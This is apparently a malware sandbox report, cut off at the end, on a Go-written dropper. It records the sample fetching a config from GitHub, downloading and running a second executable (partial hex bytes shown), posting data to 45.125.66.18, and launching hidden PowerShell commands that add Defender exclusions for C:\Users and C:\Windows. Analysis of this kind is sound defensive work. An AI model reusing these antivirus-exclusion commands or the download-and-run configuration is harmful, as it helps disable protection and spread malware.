d39b10111035c8908acbe8569ca00bf09d26751f Expires: Tue, 27 Aug 2024 11:00:07 GMT Source-Age: 0
2024-08-27 10:55:07 UTC	254	IN	Data Raw: 7b 0d 0a 20 20 22 66 6f 6c 64 65 72 5f 70 61 74 68 22 3a 20 22 43 3a 5c 5c 52 65 6b 61 22 2c 0d 0a 20 20 22 61 64 64 5f 65 78 63 6c 75 73 69 6f 6e 73 22 3a 20 74 72 75 65 2c 0d 0a 20 20 22 65 78 63 6c 75 73 69 6f 6e 5f 70 61 74 68 73 22 3a 20 5b 0d 0a 20 20 20 20 22 43 3a 5c 5c 55 73 65 72 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 57 69 6e 64 6f 77 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 52 65 63 6f 76 65 72 79 22 2c 0d 0a 20 20 20 20 22 43 3a 5c 5c 52 65 6b 61 22 2c 0d 0a 20 20 20 20 22 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 5c 44 65 73 6b 74 6f 70 22 0d 0a 20 20 5d 0d 0a 7d Data Ascii: { "folder_path": "C:\\Reka", "add_exclusions": true, "exclusion_paths": [ "C:\\Users", "C:\\Windows", "C:\\Program Files", "C:\\Program Files (x86)", "C:\\Recovery", "C:\\Reka", "%USERPROFILE%\\Desktop" ]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	185.199.109.133	443	6120	C:\Users\user\Desktop\1feP5qTCl0.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:07 UTC	141	OUT	GET /workhasf/kelm/main/nepipirusas.json HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 10:55:07 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 271 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "8afdee626e191786c845a423ef408c35314075f4a1c4350f44a55f7503d99b00" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: F629:28EE07:6F5FBC:7AAC5E:66CDB08B Accept-Ranges: bytes Date: Tue, 27 Aug 2024 10:55:07 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740033-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724756108.638641,VS0,VE13 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: ef55b381375abf973199a51bf520f32b818a71ee Expires: Tue, 27 Aug 2024 11:00:07 GMT Source-Age: 0
2024-08-27 10:55:07 UTC	271	IN	Data Raw: 7b 0d 0a 20 20 22 64 6f 77 6e 6c 6f 61 64 73 22 3a 20 5b 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 22 64 6f 77 6e 6c 6f 61 64 5f 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 77 6f 72 6b 68 61 73 66 2f 6b 65 6c 6d 2f 72 61 77 2f 6d 61 69 6e 2f 69 63 6f 6e 6f 7a 61 76 65 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 20 22 72 61 70 6e 65 77 73 61 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 72 75 6e 22 3a 20 74 72 75 65 0d 0a 20 20 20 20 7d 2c 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 22 64 6f 77 6e 6c 6f 61 64 5f 75 72 6c 22 3a 20 22 22 2c 0d 0a 20 20 20 20 20 20 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 20 22 64 6c 6c 2e 65 78 65 22 2c 0d 0a 20 20 20 20 20 20 22 72 75 6e 22 3a 20 66 61 6c 73 Data Ascii: { "downloads": [ { "download_url": "https://github.com/workhasf/kelm/raw/main/iconozave.exe", "file_name": "rapnewsa.exe", "run": true }, { "download_url": "", "file_name": "dll.exe", "run": fals

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	140.82.121.3	443	6120	C:\Users\user\Desktop\1feP5qTCl0.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:34 UTC	127	OUT	GET /workhasf/kelm/raw/main/iconozave.exe HTTP/1.1 Host: github.com User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 10:55:35 UTC	547	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Tue, 27 Aug 2024 10:55:35 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/workhasf/kelm/main/iconozave.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-08-27 10:55:35 UTC	3260	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	185.199.109.133	443	6120	C:\Users\user\Desktop\1feP5qTCl0.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:35 UTC	204	OUT	GET /workhasf/kelm/main/iconozave.exe HTTP/1.1 Host: raw.githubusercontent.com User-Agent: Go-http-client/1.1 Referer: https://github.com/workhasf/kelm/raw/main/iconozave.exe Accept-Encoding: gzip
2024-08-27 10:55:35 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 38912 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "12c37a0d92e3f8714d00d8ffa40d644b8e2520270caa1a870ac073d1e42f9dd0" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 6C35:16B1:419376:488FF3:66CDB0A7 Accept-Ranges: bytes Date: Tue, 27 Aug 2024 10:55:35 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740037-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724756136.654126,VS0,VE50 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 8a2178ee78a21770472bc4dccdc7e4614672539b Expires: Tue, 27 Aug 2024 11:00:35 GMT Source-Age: 0
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f1 8e cb ea b5 ef a5 b9 b5 ef a5 b9 b5 ef a5 b9 b3 6e a6 b8 b1 ef a5 b9 fe 97 a4 b8 b8 ef a5 b9 b5 ef a4 b9 a0 ef a5 b9 da 6e a1 b8 a9 ef a5 b9 da 6e a7 b8 b4 ef a5 b9 52 69 63 68 b5 ef a5 b9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 50 53 cc 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 26 00 84 00 00 00 14 00 00 00 00 00 00 30 1d 00 00 00 10 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$nnnRichPELPSf&0
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 52 e8 88 7f 00 00 83 c4 08 89 45 ec 8b 45 f8 8b 48 08 ba 04 00 00 00 6b c2 00 81 bc 01 1a 04 00 00 4c 11 d2 ca 75 27 6a 00 8b 4d f8 8b 51 08 52 8b 45 08 50 8b 4d f8 83 c1 04 51 8b 55 f8 8b 02 50 e8 28 25 00 00 83 c4 14 e9 29 01 00 00 c6 45 ff 00 eb 09 8a 4d ff 80 c1 01 88 4d ff 0f b6 55 ff 81 fa 80 00 00 00 0f 83 0a 01 00 00 8b 45 f8 8b 48 08 0f b6 55 ff 83 bc 91 1a 04 00 00 00 75 02 eb d1 8b 45 f8 8b 48 08 0f b6 55 ff 0f b6 84 11 1a 07 00 00 83 f8 01 75 3c 83 7d f0 00 75 36 8b 4d 0c 83 c1 2c 51 e8 a2 7e 00 00 83 c4 04 89 45 f4 83 7d f4 00 74 1e 8b 55 f4 52 e8 2d 10 00 00 83 c4 04 d1 e0 50 8b 45 f4 50 e8 be 7e 00 00 83 c4 08 89 45 f0 83 7d f0 00 74 16 8b 4d f8 8b 51 08 0f b6 45 ff 8b 8c 82 1a 04 00 00 3b 4d f0 74 2c 8b 55 f8 8b 42 08 0f b6 4d ff 0f b6 94 Data Ascii: REEHkLu'jMQREPMQUP(%)EMMUEHUuEHUu<}u6M,Q~E}tUR-PEP~E}tMQE;Mt,UBM
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 0c 00 00 83 c4 08 85 c0 74 07 b8 01 00 00 00 eb 02 33 c0 8b e5 5d c3 cc cc cc cc cc 55 8b ec 83 ec 14 e8 55 05 00 00 e8 50 03 00 00 85 c0 75 07 33 c0 e9 ce 00 00 00 68 8d bd c1 3f a1 78 b0 40 00 50 e8 d5 00 00 00 83 c4 08 a3 94 b0 40 00 83 3d 94 b0 40 00 00 75 07 33 c0 e9 a6 00 00 00 c7 45 f0 90 b0 40 00 8b 4d f0 89 4d f8 c7 45 ec 78 b0 40 00 8b 55 ec 89 55 f4 8b 45 f4 83 e8 04 89 45 f4 c6 45 ff 00 eb 09 8a 4d ff 80 c1 01 88 4d ff 0f b6 55 ff 83 fa 27 73 66 8b 45 f8 83 38 00 75 16 8b 4d f4 83 c1 04 89 4d f4 8b 55 f8 83 c2 04 89 55 f8 eb d2 eb 18 8b 45 f8 8b 08 3b 0d 94 b0 40 00 75 0b 8b 55 f8 83 c2 04 89 55 f8 eb b8 8b 45 f8 8b 08 51 8b 55 f4 8b 02 50 e8 3b 00 00 00 83 c4 08 8b 4d f8 89 01 8b 55 f8 83 3a 00 75 04 33 c0 eb 10 8b 45 f8 83 c0 04 89 45 f8 eb Data Ascii: t3]UUPu3h?x@P@=@u3E@MMEx@UUEEEMMU'sfE8uMMUUE;@uUUEQUP;MU:u3EE
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 8c b0 40 00 83 ae 0c 5f 75 06 33 c0 eb 07 eb 05 b8 01 00 00 00 8b e5 5d c3 cc 55 8b ec 33 c0 74 2b 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff 15 00 a0 40 00 6a 00 6a 00 6a 00 6a 00 6a 00 e8 12 77 00 00 6a 00 6a 00 ff 15 64 a0 40 00 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 50 e8 54 0d 00 00 83 c4 04 e8 4c 22 00 00 e8 e7 01 00 00 e8 32 fb ff ff 5d c3 55 8b ec e8 38 fa ff ff 85 c0 74 22 e8 9f 01 00 00 85 c0 74 19 e8 96 20 00 00 85 c0 74 10 8b 45 08 50 e8 49 0b 00 00 83 c4 04 85 c0 75 08 6a 00 ff 15 14 a0 40 00 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 c7 45 f8 00 00 00 00 33 c0 66 89 45 fc eb 0c 66 8b 4d fc 66 83 c1 01 66 89 4d fc 0f b7 55 fc 81 fa e8 03 00 00 73 19 0f b7 45 fc 8b 4d 08 83 7c 81 10 00 74 09 c7 45 f8 01 00 00 00 eb 02 eb Data Ascii: @_u3]U3t+jjjjjj@jjjjjwjjd@]UEPTL"2]U8t"t tEPIuj@]UE3fEfMffMUsEM\|tE
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 8b 4d 08 0f b7 11 83 fa 5a 7f 0f 8b 45 08 0f b7 08 83 c1 20 8b 55 08 66 89 0a 8b 45 08 83 c0 02 89 45 08 eb c6 5d c3 cc 55 8b ec 83 ec 0c 8b 45 08 89 45 fc 8b 4d 0c 89 4d f8 8b 55 fc 8b 45 f8 66 8b 08 66 89 0a 8b 55 fc 0f b7 02 89 45 f4 8b 4d fc 83 c1 02 89 4d fc 8b 55 f8 83 c2 02 89 55 f8 83 7d f4 00 74 02 eb d1 8b 45 08 8b e5 5d c3 cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 50 e8 41 00 00 00 83 c4 04 83 c0 01 89 45 f8 8b 4d f8 d1 e1 51 e8 7d fc ff ff 83 c4 04 89 45 fc 83 7d fc 00 74 16 8b 55 f8 d1 e2 52 8b 45 08 50 8b 4d fc 51 e8 ce fc ff ff 83 c4 0c 8b 45 fc 8b e5 5d c3 cc cc cc cc 55 8b ec 51 8b 45 08 89 45 fc 8b 4d fc 0f b7 11 85 d2 74 0b 8b 45 fc 83 c0 02 89 45 fc eb eb 8b 45 fc 2b 45 08 d1 f8 8b e5 5d c3 cc cc cc cc cc 55 8b ec 51 8b 45 08 Data Ascii: MZE UfEE]UEEMMUEffUEMMUU}tE]UEPAEMQ}E}tUREPMQE]UQEEMtEEE+E]UQE
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: ff 83 c4 04 89 45 f0 68 16 04 00 00 6a 00 8b 4d f0 51 e8 1f f9 ff ff 83 c4 0c 68 16 04 00 00 8b 55 0c 03 55 f8 52 8b 45 f0 50 e8 57 f8 ff ff 83 c4 0c 8b 4d f0 51 8b 55 08 52 e8 c7 eb ff ff 83 c4 08 8b 45 f0 50 e8 ab f7 ff ff 83 c4 04 8b 4d f8 81 c1 16 04 00 00 89 4d f8 8b 55 08 8a 82 b8 0f 00 00 2c 01 8b 4d 08 88 81 b8 0f 00 00 e9 9e 00 00 00 0f b6 55 ff 0f b6 44 15 ac 83 f8 02 0f 85 8c 00 00 00 8b 4d 08 8a 91 b8 0f 00 00 80 c2 01 8b 45 08 88 90 b8 0f 00 00 68 0b 0b 00 00 e8 12 f7 ff ff 83 c4 04 89 45 ec 68 0b 0b 00 00 6a 00 8b 4d ec 51 e8 7c f8 ff ff 83 c4 0c 68 0b 0b 00 00 8b 55 0c 03 55 f8 52 8b 45 ec 50 e8 b4 f7 ff ff 83 c4 0c 8b 4d ec 51 8b 55 08 52 e8 34 e8 ff ff 83 c4 08 8b 45 ec 50 e8 08 f7 ff ff 83 c4 04 8b 4d f8 81 c1 0b 0b 00 00 89 4d f8 8b 55 Data Ascii: EhjMQhUUREPWMQUREPMMU,MUDMEhEhjMQ\|hUUREPMQUR4EPMMU
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 00 00 6a 00 8d 4d f0 51 8d 55 f8 52 6a 00 68 13 00 00 20 8b 45 08 50 ff 15 20 b1 40 00 85 c0 74 57 81 7d f8 94 01 00 00 74 12 81 7d f8 90 01 00 00 74 09 81 7d f8 f4 01 00 00 72 16 8b 4d fc 0f b6 51 08 83 fa 01 75 08 6a 00 ff 15 14 a0 40 00 eb 26 81 7d f8 c9 00 00 00 74 09 81 7d f8 c8 00 00 00 75 14 8b 45 fc 0f b6 48 08 83 f9 05 75 08 6a 00 ff 15 14 a0 40 00 6a 00 8b 55 08 52 ff 15 04 b1 40 00 e9 d1 00 00 00 81 7d 10 00 00 04 00 0f 85 94 00 00 00 8b 45 fc 8b 4d 14 8b 11 89 50 1c 8b 45 fc 8b 48 18 8b 55 fc 03 4a 1c 8b 45 fc 89 48 18 8b 4d fc 83 79 1c 00 75 21 8b 55 fc 83 7a 04 04 74 0a 8b 45 fc c7 40 04 03 00 00 00 8b 4d 0c 51 e8 bc f1 ff ff 83 c4 04 eb 4b 8b 55 fc 8b 42 18 50 8b 4d fc 8b 51 0c 52 e8 24 f3 ff ff 83 c4 08 8b 4d fc 89 41 0c 8b 55 fc 83 7a 0c Data Ascii: jMQURjh EP @tW}t}t}rMQuj@&}t}uEHuj@jUR@}EMPEHUJEHMyu!UztE@MQKUBPMQR$MAUz
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: cc cc 55 8b ec 51 68 2d b0 40 00 8b 45 08 83 c0 20 50 e8 1b ef ff ff 83 c4 08 c7 45 fc 00 00 fe 7f 8b 4d 08 8b 55 fc 8b 82 60 02 00 00 89 81 15 08 00 00 8b 4d 08 8b 55 fc 8b 82 6c 02 00 00 89 81 0d 08 00 00 8b 4d 08 8b 55 fc 8b 82 70 02 00 00 89 81 11 08 00 00 68 06 b0 40 00 8b 4d 08 51 e8 cd ee ff ff 83 c4 08 68 52 b0 40 00 8b 55 08 83 c2 07 52 e8 b9 ee ff ff 83 c4 08 8b 45 08 50 e8 cd 5a 00 00 83 c4 04 8b 4d 08 51 e8 41 58 00 00 83 c4 04 8b 55 08 52 e8 b5 59 00 00 83 c4 04 6a 01 8b 45 08 50 e8 37 59 00 00 83 c4 08 8b 4d 08 51 e8 5b 5a 00 00 83 c4 04 8b 55 08 52 e8 2f 5a 00 00 83 c4 04 8b 45 08 50 e8 d3 59 00 00 83 c4 04 8b 4d 08 51 e8 e7 59 00 00 83 c4 04 8b 55 08 52 e8 8b 5a 00 00 83 c4 04 8b e5 5d c3 cc cc cc cc 55 8b ec 81 ec 38 0f 00 00 68 33 0f 00 Data Ascii: UQh-@E PEMU`MUlMUph@MQhR@UREPZMQAXURYjEP7YMQ[ZUR/ZEPYMQYURZ]U8h3
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: d7 f5 ff ff 02 8b 4d 14 8a 11 88 95 b0 f5 ff ff 68 21 06 00 00 6a 00 8d 85 d8 f9 ff ff 50 e8 ed e8 ff ff 83 c4 0c 8b 4d 10 51 8d 95 e8 fd ff ff 52 e8 6a ea ff ff 83 c4 08 8b 45 14 05 09 02 00 00 50 8d 8d d8 f9 ff ff 51 e8 52 ea ff ff 83 c4 08 68 08 02 00 00 8b 55 14 83 c2 01 52 8d 85 e0 fb ff ff 50 e8 97 e7 ff ff 83 c4 0c 0f b6 4d 18 51 8b 55 14 52 8d 85 d8 f9 ff ff 50 e8 2f 01 00 00 83 c4 0c 0f b6 c8 85 c9 75 05 e9 15 01 00 00 0f b6 55 18 8b 45 14 0f b6 8c 10 9a 06 00 00 83 f9 01 75 46 8b 55 0c 52 81 ec 28 04 00 00 b9 09 01 00 00 8d b5 b0 f5 ff ff 8b fc f3 a5 66 a5 a4 81 ec 24 06 00 00 b9 88 01 00 00 8d b5 d8 f9 ff ff 8b fc f3 a5 a4 8b 45 08 50 e8 b1 fc ff ff 81 c4 54 0a 00 00 e9 af 00 00 00 0f b6 4d 18 8b 55 14 0f b6 84 0a 9a 06 00 00 85 c0 0f 85 98 00 Data Ascii: Mh!jPMQRjEPQRhURPMQURP/uUEuFUR(f$EPTMU
2024-08-27 10:55:35 UTC	1378	IN	Data Raw: 00 68 27 04 00 00 6a 00 8d 85 ac fb ff ff 50 e8 9a e3 ff ff 83 c4 0c 68 ff 00 00 00 8d 8d ac fb ff ff 51 e8 f6 4e 00 00 83 c4 08 ba 01 00 00 00 6b c2 00 c6 84 05 d3 fb ff ff 05 6a 26 6a 00 8d 4d d4 51 e8 66 e3 ff ff 83 c4 0c 8d 55 d4 52 e8 6a 00 00 00 83 c4 04 68 27 04 00 00 8d 85 ac fb ff ff 50 b9 01 00 00 00 6b d1 00 03 55 fc 52 e8 8a e2 ff ff 83 c4 0c 6a 26 8d 45 d4 50 b9 01 00 00 00 69 d1 27 04 00 00 03 55 fc 52 e8 6d e2 ff ff 83 c4 0c 6a 05 68 4d 04 00 00 8b 45 fc 50 8b 4d 08 51 e8 f6 ed ff ff 83 c4 10 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 c6 40 25 01 68 2d b0 40 00 8b 4d 08 51 e8 98 e3 ff ff 83 c4 08 5d c3 cc cc cc 55 8b ec 83 ec 0c e8 95 01 00 00 85 c0 74 09 83 3d e8 b0 40 00 00 75 0c e8 73 06 00 00 33 c0 e9 61 Data Ascii: h'jPhQNkj&jMQfURjh'PkURj&EPi'URmjhMEPMQ]UE@%h-@MQ]Ut=@us3a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49740	45.125.66.18	443	6044	C:\Reka\rapnewsa.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:39 UTC	287	OUT	POST /api/receiver/recv HTTP/1.1 Connection: Keep-Alive Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.48 Content-Length: 3160 Host: 45.125.66.18
2024-08-27 10:55:39 UTC	3160	OUT	Data Raw: 00 7b 61 33 33 63 37 33 34 30 2d 36 31 63 61 2d 31 31 65 65 2d 38 63 31 38 2d 38 30 36 65 36 66 36 65 36 39 36 33 7d 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: {a33c7340-61ca-11ee-8c18-806e6f6e6963}
2024-08-27 10:55:39 UTC	231	IN	HTTP/1.1 201 Created Server: nginx/1.18.0 Date: Tue, 27 Aug 2024 10:55:39 GMT Content-Type: application/octet-stream Content-Length: 4230 Connection: close X-Powered-By: Express ETag: W/"1086-eeEIvwQRvsIx4B3isHTXuBfT8l0"
2024-08-27 10:55:39 UTC	4230	IN	Data Raw: 01 03 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	34.194.69.213	443	6120	C:\Users\user\Desktop\1feP5qTCl0.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-27 10:55:43 UTC	95	OUT	GET /get HTTP/1.1 Host: httpbin.org User-Agent: Go-http-client/1.1 Accept-Encoding: gzip
2024-08-27 10:55:43 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 10:55:43 GMT Content-Type: application/json Content-Length: 238 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-08-27 10:55:43 UTC	238	IN	Data Raw: 7b 0a 20 20 22 61 72 67 73 22 3a 20 7b 7d 2c 20 0a 20 20 22 68 65 61 64 65 72 73 22 3a 20 7b 0a 20 20 20 20 22 48 6f 73 74 22 3a 20 22 68 74 74 70 62 69 6e 2e 6f 72 67 22 2c 20 0a 20 20 20 20 22 55 73 65 72 2d 41 67 65 6e 74 22 3a 20 22 47 6f 2d 68 74 74 70 2d 63 6c 69 65 6e 74 2f 31 2e 31 22 2c 20 0a 20 20 20 20 22 58 2d 41 6d 7a 6e 2d 54 72 61 63 65 2d 49 64 22 3a 20 22 52 6f 6f 74 3d 31 2d 36 36 63 64 62 30 61 66 2d 35 65 33 61 62 36 39 31 37 36 32 32 62 64 62 34 30 64 61 32 37 38 33 62 22 0a 20 20 7d 2c 20 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 20 0a 20 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 67 65 74 22 0a 7d 0a Data Ascii: { "args": {}, "headers": { "Host": "httpbin.org", "User-Agent": "Go-http-client/1.1", "X-Amzn-Trace-Id": "Root=1-66cdb0af-5e3ab6917622bdb40da2783b" }, "origin": "8.46.123.33", "url": "https://httpbin.org/get"}

Target ID:	0
Start time:	06:55:04
Start date:	27/08/2024
Path:	C:\Users\user\Desktop\1feP5qTCl0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\1feP5qTCl0.exe"
Imagebase:	0x2e0000
File size:	8'077'824 bytes
MD5 hash:	A499C507987982C951093E21DF0C0D96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:55:10
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:55:10
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:55:13
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:55:13
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:55:15
Start date:	27/08/2024
